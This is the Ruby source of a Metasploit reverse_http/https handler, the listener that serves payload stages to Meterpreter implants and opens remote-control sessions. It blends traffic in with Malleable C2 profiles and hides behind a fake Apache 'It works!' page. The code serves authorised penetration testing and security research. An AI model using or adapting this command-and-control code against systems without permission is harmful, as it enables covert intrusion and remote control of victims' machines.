Files
metasploit-gs/lib/msf/core/handler/reverse_http.rb
T
2025-07-30 13:04:22 +10:00

506 lines
15 KiB
Ruby

# -*- coding: binary -*-
require 'rex/io/stream_abstraction'
require 'rex/sync/ref'
require 'rex/post/meterpreter/core_ids'
require 'rex/socket/x509_certificate'
require 'uri'
module Msf
module Handler
###
#
# This handler implements the HTTP SSL tunneling interface.
#
###
module ReverseHttp
include Msf::Handler
include Msf::Handler::Reverse
include Msf::Handler::Reverse::Comm
include Rex::Payloads::Meterpreter::UriChecksum
include Msf::Payload::Windows::VerifySsl
#
# Returns the string representation of the handler type
#
def self.handler_type
return 'reverse_http'
end
#
# Returns the connection-described general handler type, in this case
# 'tunnel'.
#
def self.general_handler_type
"tunnel"
end
#
# Initializes the HTTP SSL tunneling handler.
#
def initialize(info = {})
super
register_options(
[
OptAddressLocal.new('LHOST', [true, 'The local listener hostname']),
OptPort.new('LPORT', [true, 'The local listener port', 8080]),
OptString.new('LURI', [false, 'The HTTP Path', ''])
], Msf::Handler::ReverseHttp)
register_advanced_options(
[
OptAddress.new('ReverseListenerBindAddress',
'The specific IP address to bind to on the local system'
),
OptBool.new('OverrideRequestHost',
'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT',
),
OptString.new('OverrideLHOST',
'When OverrideRequestHost is set, use this value as the host name for secondary requests'
),
OptPort.new('OverrideLPORT',
'When OverrideRequestHost is set, use this value as the port number for secondary requests'
),
OptString.new('OverrideScheme',
'When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https'
),
OptString.new('HttpUserAgent',
'The user-agent that the payload should use for communication',
default: Rex::UserAgent.random,
aliases: ['MeterpreterUserAgent']
),
OptString.new('HttpServerName',
'The server header that the handler will send in response to requests',
default: 'Apache',
aliases: ['MeterpreterServerName']
),
OptString.new('HttpUnknownRequestResponse',
'The returned HTML response body when the handler receives a request that is not from a payload',
default: '<html><body><h1>It works!</h1></body></html>'
),
OptBool.new('IgnoreUnknownPayloads',
'Whether to drop connections from payloads using unknown UUIDs'
)
], Msf::Handler::ReverseHttp)
end
def print_prefix
if Thread.current[:cli]
super + "#{listener_uri} handling request from #{Thread.current[:cli].peerhost}; (UUID: #{uuid.to_s}) "
else
super
end
end
# A URI describing where we are listening
#
# @param addr [String] the address that
# @return [String] A URI of the form +scheme://host:port/+
def listener_uri(addr=datastore['ReverseListenerBindAddress'])
addr = datastore['LHOST'] if addr.nil? || addr.empty?
uri_host = Rex::Socket.is_ipv6?(addr) ? "[#{addr}]" : addr
"#{scheme}://#{uri_host}:#{bind_port}#{luri}"
end
# Return a URI suitable for placing in a payload.
#
# Host will be properly wrapped in square brackets, +[]+, for ipv6
# addresses.
#
# @param req [Rex::Proto::Http::Request]
# @return [String] A URI of the form +scheme://host:port/+
def payload_uri(req=nil)
callback_host = nil
callback_scheme = nil
# Extract whatever the client sent us in the Host header
if req && req.headers && req.headers['Host']
cburi = URI("#{scheme}://#{req.headers['Host']}")
callback_host = cburi.host
callback_port = cburi.port
end
# Override the host and port as appropriate
if datastore['OverrideRequestHost'] || callback_host.nil?
callback_host = datastore['OverrideLHOST']
callback_port = datastore['OverrideLPORT']
callback_scheme = datastore['OverrideScheme']
end
if callback_host.nil? || callback_host.empty?
callback_host = datastore['LHOST']
end
if callback_port.nil? || callback_port.zero?
callback_port = datastore['LPORT']
end
if callback_scheme.nil? || callback_scheme.empty?
callback_scheme = scheme
end
if Rex::Socket.is_ipv6? callback_host
callback_host = "[#{callback_host}]"
end
if callback_host.nil?
raise ArgumentError, "No host specified for payload_uri"
end
if callback_port
"#{callback_scheme}://#{callback_host}:#{callback_port}"
else
"#{callback_scheme}://#{callback_host}"
end
end
def comm_string
if self.service.listener.nil?
"(setting up)"
else
via_string(self.service.listener.client) if self.service.listener.respond_to?(:client)
end
end
# Use the #refname to determine whether this handler uses SSL or not
#
def ssl?
!!(self.refname.index('https'))
end
# URI scheme
#
# @return [String] One of "http" or "https" depending on whether we
# are using SSL
def scheme
(ssl?) ? 'https' : 'http'
end
def construct_luri(base_uri)
return nil unless base_uri
u = base_uri.dup
while u[-1] == '/'
u.chop!
end
u
end
# The local URI for the handler.
#
# @return [String] Representation of the URI to listen on.
def luri
construct_luri(datastore['LURI'] || '')
end
def all_uris
all = [luri]
if self.c2_profile
uris = self.c2_profile.uris.map {|u| construct_luri(u)}
all.push(*uris)
end
all
end
def c2_profile
unless @c2_profile_parsed
profile_path = datastore['MALLEABLEC2'] || ''
unless profile_path.empty?
parser = Msf::Payload::MalleableC2::Parser.new
@c2_profile_instance = parser.parse(profile_path)
end
c2_profile_parsed = true
end
@c2_profile_instance
end
# Create an HTTP listener
#
# @return [void]
def setup_handler
local_addr = nil
local_port = bind_port
ex = false
comm = select_comm
# Start the HTTPS server service on this host/port
bind_addresses.each do |ip|
begin
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
local_port, ip, ssl?,
{
'Msf' => framework,
'MsfExploit' => self,
},
comm,
(ssl?) ? datastore['HandlerSSLCert'] : nil, nil, nil, datastore['SSLVersion']
)
local_addr = ip
rescue
ex = $!
print_error("Handler failed to bind to #{ip}:#{local_port}")
else
ex = false
break
end
end
raise ex if (ex)
self.service.server_name = datastore['HttpServerName']
# Add the new resource
all_uris.each {|u|
#r = (u + "/").gsub("//", "/")
r = u.gsub("//", "/")
service.add_resource(r,
'Proc' => Proc.new { |cli, req|
on_request(cli, req)
},
'VirtualDirectory' => true)
}
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri(local_addr)}")
lookup_proxy_settings
if datastore['IgnoreUnknownPayloads']
print_status("Handler is ignoring unknown payloads")
end
end
def find_resource_id(cli, request)
if request.method == 'POST'
directive = self.c2_profile&.http_post&.client&.id&.parameter
cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0
unless cid
directive = self.c2_profile&.http_post&.client&.id&.header
cid = request.headers[directive[0].args[0]] if directive && directive.length > 0
end
else
directive = self.c2_profile&.http_get&.client&.metadata&.parameter
cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0
unless cid
directive = self.c2_profile&.http_get&.client&.metadata&.header
cid = request.headers[directive[0].args[0]] if directive && directive.length > 0
end
end
request.conn_id = cid || request.resource.split('?')[0].split('/').compact.last
end
def add_response_headers(req, resp)
if req.method == 'GET'
headers = self.c2_profile&.http_get&.server&.header || []
headers.each {|h| resp[h.args[0]] = h.args[1]}
elsif req.method == 'POST'
headers = self.c2_profile&.http_post&.server&.header || []
headers.each {|h| resp[h.args[0]] = h.args[1]}
end
end
#
# Removes the / handler, possibly stopping the service if no sessions are
# active on sub-urls.
#
def stop_handler
if self.service
all_uris.each {|u|
#r = (u + "/").gsub("//", "/")
r = u.gsub("//", "/")
self.service.remove_resource(r)
}
self.service.deref
self.service = nil
end
end
attr_accessor :service # :nodoc:
protected
#
# Parses the proxy settings and returns a hash
#
def lookup_proxy_settings
info = {}
return @proxy_settings if @proxy_settings
if datastore['HttpProxyHost'].to_s == ''
@proxy_settings = info
return @proxy_settings
end
info[:host] = datastore['HttpProxyHost'].to_s
info[:port] = (datastore['HttpProxyPort'] || 8080).to_i
info[:type] = datastore['HttpProxyType'].to_s
uri_host = info[:host]
if Rex::Socket.is_ipv6?(uri_host)
uri_host = "[#{info[:host]}]"
end
info[:info] = "#{uri_host}:#{info[:port]}"
if info[:type] == "SOCKS"
info[:info] = "socks=#{info[:info]}"
else
info[:info] = "http://#{info[:info]}"
if datastore['HttpProxyUser'].to_s != ''
info[:username] = datastore['HttpProxyUser'].to_s
end
if datastore['HttpProxyPass'].to_s != ''
info[:password] = datastore['HttpProxyPass'].to_s
end
end
@proxy_settings = info
end
#
# Parses the HTTPS request
#
def on_request(cli, req)
Thread.current[:cli] = cli
resp = Rex::Proto::Http::Response.new
req.conn_id = find_resource_id(cli, req) unless req.conn_id
if req.conn_id
info = process_uri_resource(req.conn_id)
uuid = info[:uuid]
conn_id = req.conn_id
end
if uuid
# Configure the UUID architecture and payload if necessary
uuid.arch ||= self.arch
uuid.platform ||= self.platform
request_summary = "#{luri} with UA '#{req.headers['User-Agent']}'"
if info[:mode] && info[:mode] != :connect
conn_id = generate_uri_uuid(URI_CHECKSUM_CONN, uuid)
end
conn_id.chomp!('/')
# Validate known UUIDs for all requests if IgnoreUnknownPayloads is set
if framework.db.active
db_uuid = framework.db.payloads({ uuid: uuid.puid_hex }).first
else
print_warning('Without a database connected that payload UUID tracking will not work!')
end
if datastore['IgnoreUnknownPayloads'] && !db_uuid
print_status("Ignoring unknown UUID: #{request_summary}")
info[:mode] = :unknown_uuid
end
# Validate known URLs for all session init requests if IgnoreUnknownPayloads is set
if datastore['IgnoreUnknownPayloads'] && info[:mode].to_s =~ /^init_/
allowed_urls = db_uuid ? db_uuid['urls'] : []
unless allowed_urls && allowed_urls.include?(req.relative_resource.chomp('/'))
print_status("Ignoring unknown UUID URL: #{request_summary}")
info[:mode] = :unknown_uuid_url
end
end
url = payload_uri(req) + conn_id
url << '/' unless url[-1] == '/'
else
info[:mode] = :unknown
end
self.pending_connections += 1
resp.body = ''
resp.code = 200
resp.message = 'OK'
# Process the requested resource.
case info[:mode]
when :init_connect
print_status("Redirecting stageless connection from #{request_summary} to #{conn_id}")
# Handle the case where stageless payloads call in on the same URI when they
# first connect. From there, we tell them to callback on a connect URI that
# was generated on the fly. This means we form a new session for each.
# Hurl a TLV back at the caller, and ignore the response
pkt = Rex::Post::Meterpreter::Packet.new(Rex::Post::Meterpreter::PACKET_TYPE_RESPONSE, Rex::Post::Meterpreter::COMMAND_ID_CORE_PATCH_UUID)
pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_C2_UUID, conn_id.gsub(/\//, ''))
resp.body = pkt.to_r
resp.body = self.c2_profile.wrap_outbound_get(resp.body) if self.c2_profile
when :init_python, :init_native, :init_java, :connect
# TODO: at some point we may normalise these three cases into just :init
if info[:mode] == :connect
print_status("Attaching orphaned/stageless session...")
else
begin
# TODO: do we need to handle C2 profiles here?
blob = self.generate_stage(url: url, uuid: uuid, uri: conn_id)
blob = encode_stage(blob) if self.respond_to?(:encode_stage)
# remove this when we make http payloads prepend stage sizes by default
if defined?(read_stage_size?) && read_stage_size?
print_status("Appending Stage Size For HTTP[S]...")
blob = [ blob.length ].pack('V') + blob
end
print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")
resp['Content-Type'] = 'application/octet-stream'
resp.body = blob
rescue NoMethodError => e
print_error('Staging failed. This can occur when stageless listeners are used with staged payloads.')
elog('Staging failed. This can occur when stageless listeners are used with staged payloads.', error: e)
return
end
end
session_opts = {
:passive_dispatcher => self.service,
:dispatch_ext => [Rex::Post::Meterpreter::HttpPacketDispatcher],
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ssl => ssl?,
:payload_uuid => uuid,
:c2_profile => self.c2_profile,
:debug_build => datastore['MeterpreterDebugBuild'] || false,
}
create_session(cli, session_opts)
else
unless [:unknown, :unknown_uuid, :unknown_uuid_url].include?(info[:mode])
print_status("Unknown request to #{request_summary}")
end
resp.body = datastore['HttpUnknownRequestResponse'].to_s
self.pending_connections -= 1
end
cli.send_response(resp) if (resp)
# Force this socket to be closed
self.service.close_client(cli)
end
end
end
end